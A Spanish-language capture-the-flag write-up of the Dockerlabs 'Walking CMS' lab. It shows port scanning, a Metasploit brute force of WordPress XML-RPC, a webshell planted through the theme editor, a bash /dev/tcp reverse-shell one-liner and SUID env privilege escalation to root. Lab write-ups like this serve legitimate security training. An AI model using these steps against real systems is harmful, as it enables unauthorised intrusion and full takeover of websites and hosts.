🟢Walking CMS

En esta ocasión vamos a hacer el writeup de la máquina Walking CMS de Dockerlabs, una máquina Linux de dificultad easy.

Despliegue de la máquina

sudo bash auto_deploy.sh walkingcms.tar

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Tenemos la IP: 172.17.0.2

Primer acceso

Accedemos través del navegador y llegamos a una default page de Apache:

No obtenemos nada relevante, por lo que vamos a escanear los puertos abiertos en esta máquina.

Escaneo de puertos

sudo nmap -v -A -sCV -T5 172.17.0.2

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X

Solo encontramos el puerto 80 expuesto. En principio nada relevante.

Fuzzing

Haciendo fuzzing con feroxbuster vemos que nos encontramos ante un sitio web Wordpress

feroxbuster -t 200 -x php,txt,html -u http://172.17.0.2

Vamos a acceder a /wordpress a ver que encontramos.

A priori nos encontramos una web básica en Wordpress, posiblemente en construcción.

Bingo! Obtenemos el usuario mario y vemos que está activo XML-RPC con lo que podríamos hacer un bruteforce sin problema.

Bruteforce de XML-RCP

Vamos a usar el módulo de Metasploit wordpress_xmlrpc_login para hacer bruteforce de XML-RCP:

msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set USERNAME mario
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOST http://172.17.0.2
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set TARGETURI wordpress/xmlrpc.php
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > exploit

Bingo, obtenemos el password para el usuario mario: love

También podríamos usar otras herramientas como CMSeek con la opción de Bruteforce CMSs, con un proceso un poco más automático:

python3 cmseek.py

Acceso web

Accedemos por http://172.17.0.2/wordpress/wp-admin con esas credenciales y accedemos correctamente:

Subida de Webshell

Vemos que tenemos activo el tema Twenty Twenty-Two, por lo que vamos a editar el index.php para introducir una webshell. Vamos a theme editor y buscamos el index , en ese index le colocamos el codigo de una webshell como P0wny Shell. Una vez modificado, guardamos el index y podemos ir a cargarlo en la web.

p0wny-shell/shell.php at master · flozz/p0wny-shellGitHub

Aquí pegamos el código de P0wny Shell y abajo le damos a Update File:

Acceso a la Webshell

Una vez subida, podemos acceder a la webshell en la siguiente URL:

http://172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/index.php

Como estamos en una máquina de Dockerlabs a traves de Docker mi IP es la 172.17.0.1:

docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255

Para devolvernos una revshell solamente necesitamos ejecutar el siguiente comando:

bash -c 'exec bash -i &>/dev/tcp/172.17.0.1/4444 <&1'

Tenemos una shell, con lo que ya hemos comprometido parcialmente el host con un usuario sin privilegios.

Explotación alternativa

También podríamos utilizar el módulo wp_admin_shell_upload de Metasploit que automatiza este proceso para cargar un shell y ejecutarlo automáticamente en la máquina sin tener que subir una webshell y devolvernos la revshell.

msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts 172.17.0.2
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set targeturi /wordpress
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username mario
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password love
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit

Escalada de privilegios

No podemos acceder a /root ni ver los permisos de ejecución con sudo -l:

www-data@c734fca6ef9e:/$ cd root
cd root
bash: cd: root: Permission denied

www-data@c734fca6ef9e:/$ sudo -l
sudo -l
bash: sudo: command not found

Vamos a buscar con find ejecutables que podammos aprovechar para escalar privilegios:

www-data@c734fca6ef9e:/$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/env
/usr/bin/chfn
/usr/bin/su
/usr/bin/mount
/usr/bin/chsh
/usr/bin/passwd

Observamos el ejecutable env, que podemos explotar siguiendo los pasos de GTFOBIns:

env | GTFOBinsgtfobins.github.io

Concretamente en la sección SUID encontramos una forma para elevar nuestros privilegios:

./env /bin/sh -p

Lo ejecutamos y ya somos root!

www-data@c734fca6ef9e:/$ env /bin/sh -p   
env /bin/sh -p
whoami
root
